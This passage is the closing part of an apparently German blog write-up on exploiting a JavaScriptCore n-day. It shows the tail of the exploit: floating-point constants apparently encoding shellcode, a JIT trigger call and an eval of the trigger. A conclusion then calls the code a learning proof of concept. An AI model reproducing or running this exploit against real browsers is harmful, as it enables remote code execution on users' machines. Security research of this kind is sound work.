target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229

print("[+] Executing Shellcode...")

jitMe([13.37],[13.37])
`

eval(postTrigger)                 

Schließlich ein Video des funktionierenden Exploits!

Fazit

Dies zeigt hoffentlich, wie man einen JSC n-day nehmen und einen Exploit dafür entwickeln kann. Ich profitierte von der Zeroday Initiative Beschreibung. Obwohl ich diese beim Schreiben des Exploits verwendet habe, versuchte ich, nur die Hauptideen zu übernehmen und die Implementierung selbst durchzuführen, ohne die Beschreibung anzusehen.

Dieser Exploit ist nur ein Proof of Concept und nicht so robust wie möglich. Obwohl ich keine fehlgeschlagenen Versuche erlebt habe, gibt es immer Arbeit, die getan werden könnte, um ihn zu verbessern. Da ich dies als Lernerfahrung gemacht habe, habe ich mich nicht darum gekümmert, den Exploit so robust wie möglich zu machen.

Tool herunterladen